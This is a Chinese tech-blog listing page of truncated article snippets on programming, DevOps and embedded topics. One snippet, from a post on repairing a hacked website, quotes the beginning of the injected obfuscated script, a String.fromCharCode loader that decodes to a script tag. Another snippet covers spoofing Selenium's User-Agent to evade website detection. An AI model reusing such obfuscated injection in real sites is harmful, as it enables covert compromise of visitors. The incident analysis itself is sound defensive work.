多环串级PID
文章目录 为什么要多环程序主函数内环外环 双环PID调参内环Kp调法Ki调法 外环Kp 以一定速度到达指定位置封装 为什么要多环 单环只能单一控制速度或者位置，如果想要同时控制多个量如速度，位置，角度，就需要多个PID 速度环一般PI…
2025-09-11精选文章
深度解析 n8n：强大的开源工作流自动化平台
在数字化时代，企业和个人面临着日益复杂的工作流程和多样化的应用工具，如何高效整合这些资源、实现工作流的自动化成为提升效率的关键。n8n 作为一款开源的工作流自动化平台，凭借其强大的功能、广泛的应用集成能力和灵活的部署方式࿰…
sentinel的限流原理
Sentinel 的限流原理基于 流量统计 和 流量控制策略，通过动态规则对系统资源进行保护。其核心设计包括以下几个关键点： 流量统计模型：滑动时间窗口 Sentinel 使用 滑动时间窗口算法 统计单位时间内的请求量，相比传统的固定时间窗…
最新发布
Vue3 + TypeScript 操作第三方库（Element Plus 的 ElTable）的内部属性
1、定义 ElTable 扩展实例类型，包含内部 store 属性 import { ElTable } from "element-plus";// ElTable 扩展实例类型，包含内部 store 属性 export type ElTableExtendedInstance InstanceType<typeof ElTable> & {store: {stat…
2025-09-11AWTK 骨骼动画控件用法
创建骨骼动画控件 atlas 指定纹理图集文件，skeleton 指定骨骼动画数据文件。可以是相对路径或绝对路径。atlas 中引用的图片文件需要和 skeleton 文件在同一目录下。 scale_x 和 scale_y 指定缩放比例，根据实际情况调整。 scale_time 指定播放速度&am…
2025-09-11c++20引入的三路比较操作符＜=＞
目录 一、简介 二、三向比较的返回类型 2.1 std::strong_ordering 2.2 std::weak_ordering 2.3 std::partial_ordering 三、对基础类型的支持 四、自动生成的比较运算符函数 4.1 std::rel_ops的作用 4.2 使用<> 五、兼容他旧代码 一、简介 c20引入了三路比较操…
2025-09-11IEC104转MQTT网关支持MQTT对接Ignition、阿里云、华为云、亚马逊AWS、ThingsBoard、Zabbix平台助力远程管理
钡铼推出了一款专为电力系统设计的数据采集网关——IEC104转MQTT网关BE113，感兴趣的朋友接着往下看： 一、网关概述 IEC104转MQTT(Ignition)网关BE113是一款专为电力系统设计的数据采集网关，支持DL/T645和IEC104等协议的设备。上行支持MQTT协…
2025-09-10STM32在裸机（无RTOS）环境下，需要手动实现队列机制来替代FreeRTOS的CAN发送接收函数
xQueueSendToBackFromISR(ecuCanRxQueue, hcan->pRxMsg, &xHigherPriorityTaskWoken)，xQueueReceive(mscCanRxQueue,&mscRxMsg,0)和xQueueSendToBack(mscCanTxQueue, &TxMessageTemp, 0 )这3个函数，在裸机下实现： 在裸机&…
2025-09-10R3打卡——pytorch实现心脏病预测
🍨 本文为🔗365天深度学习训练营中的学习记录博客 🍖 原作者：K同学啊 1.检查GPU import numpy as np import pandas as pd import torch from torch import nn import torch.nn.functional as F import seaborn as sns#设置GPU训…
2025-09-09从0到1构建 Kubernetes中间件运维平台：标准化、可视化与全栈运维的最佳实践｜得物技术
一、项目背景 传统运维的痛点与挑战 在传统的中间件运维过程中，存在以下几个突出问题： 管理分散：不同中间件（ Kafka和Elasticsearch）都有独立的管理台，运维逻辑分散，难以形成统一规范。成本高…
2025-09-08软件环境安装-通过Docker安装RocketMQ
软件环境安装-通过Docker安装RocketMQ 一、拉取 RocketMQ 镜像二、创建容器共享网络 rocketmq三、部署 NameServer 前提条件创建目录授权文件创建容器拷贝启动脚本删除容器 NameServer 四、启动容器启动容器 NameServer查看启动日志 五、部署 Broker Proxy创建挂载文件夹并授权…
2025-09-03Matlab实现鼠群优化算法优化随机森林算法模型 （ROS-RF）（附源码）
目录 1.内容介绍 2.部分代码 3.实验结果 4.内容获取 1内容介绍 鼠群优化算法（Rat Swarm Optimizer, ROS）是一种基于老鼠觅食行为的新型元启发式优化算法。ROS通过模拟老鼠在寻找食物时的社会互动和群体智能来探索解空间，旨在高效地找到全局最…
2025-09-02【区块链安全 | 第二十六篇】表达式与控制结构（二）
文章目录 表达式与控制结构赋值结构化赋值与返回多个值数组和结构体的赋值复杂性作用域和声明检查或不检查的算术运算错误处理：Assert、Require、Revert 和异常通过 assert 进行 Panic 和通过 require 进行 Errorreverttry/catch表达式与控制结构 赋值 结构化赋值与返回多个…
2025-09-02亚马逊云服务器（AWS）：功能、优势与使用指南
亚马逊云服务器（AWS）概述 亚马逊云服务器（Amazon Web Services，简称AWS）是全球领先的云计算平台，提供一系列强大且灵活的云服务，帮助企业和开发者通过云基础设施实现数据存储、计算、分析和机器…
2025-09-02开源项目低代码表单FormCreate中通过接口加载远程数据选项
在开源项目低代码表单 FormCreate 中，fetch 属性提供了强大的功能，允许从远程 API 加载数据并将其应用到表单组件中。通过灵活的配置，fetch 可以在多种场景下发挥作用，从简单的选项加载到复杂的动态数据处理。 源码地址: Github …
2025-09-02项目中集成ECharts图表（通过定时任务SpringTask统计每天的订单金额）
项目应用Echarts ①、前端终端安装Echarts npm install echarts --save ②、src/views创建order目录，在order目录下创建orderStatistics.vue ③、src/router/modules目录下创建order.js，配置路由 const layout ()>import(/layout/index.vue) …
2025-09-02黑客攻击网站，篡改首页问题排查修复
1，修改首页，并植入js 标题通过unicode编码，隐藏了 <title> js文件通过String.fromCharCode隐藏起来了 <script type"text/javascript"> var xt String.fromCharCode(0,60,115,99,114,105,112,116,32,115,114,99,61…
2025-09-02在Selenium 中更改 User-Agent 的步骤与最佳实践
引言 在 Selenium 中更改 User Agent 是许多网页自动化任务中的关键步骤。它有助于将自动化脚本伪装成常规浏览器，从而避免被网站检测到。本指南将带您了解如何在 Selenium 中更改 Google Chrome 的 User Agent，并提供最佳实践以确保您的网页自动化任务…
2025-09-01使用 Fabric.js 构建一个在线白板组件（支持绘图 / 拖拽 / 导出）
文章目录 一、前言二、技术栈三、项目初始化四、创建基础白板组件4.1 Whiteboard.vue 基础结构4.2 绘图和形状功能 五、功能增强5.1 撤销 / 重做5.2 删除选中对象5.3 复制 / 粘贴图形5.4 自定义线条颜色和宽度5.5 图形锁定 / 解锁 六、样式优化七、页面使用示例八、总结与拓展方…
2025-09-01GitLab｜数据迁移
注意：新服务器GitLab版本需和旧版本一致 在旧服务器执行命令进行数据备份 gitlab-rake gitlab:backup:create 备份数据存储在 /var/opt/gitlab/backups/ 将备份数据传输到新服务器的/var/opt/gitlab/backups/下，并修改文件权限（下载前和上传…
2025-09-01瑞芯微RK3568嵌入式AI项目实战：智能家居项目（二）
RK3568智能家居项目实战指南：从入门到精通的完整制作流程 瑞芯微RK3568作为一款高性能嵌入式处理器，凭借其四核Cortex-A55架构、1T算力NPU和丰富的外设接口，成为智能家居项目开发的理想平台。下面我将推荐几个典型的RK3568智能家居项目&…
2025-09-01基于autokeras的简单天气预报例子和运行输出
import numpy as np from autokeras import StructuredDataClassifier from sklearn.model_selection import train_test_split from sklearn.preprocessing import StandardScaler # 模拟数据 np.random.seed(0) n_samples 1000 X np.random.rand(n_samples, 3…
2025-09-01热文排行
最新新闻
- 基于STM32的心电图监测系统设计
- OpenHarmony开源鸿蒙兼容性测试常见问题解答分享
- 使用PyMongo连接MongoDB的基本操作
- 国产化环境下的 DICOM 网络服务与影像处理适配
- web 自动化之 Unittest 四大组件
- 健康检查：在 .NET 微服务模板中优雅配置 Health Checks
- 【深度解析】Java接入DeepSeek大模型：从零实现流式对话+多轮会话管理（完整项目实战） —— SpringBoot整合、API安全封装、性能优化全攻略
- C语言程序设计-[6] if语句分支结构
- 全屏组件封装（react18+antd）
- 主流操作系统对比分析（macOS、Linux、Windows、Unix）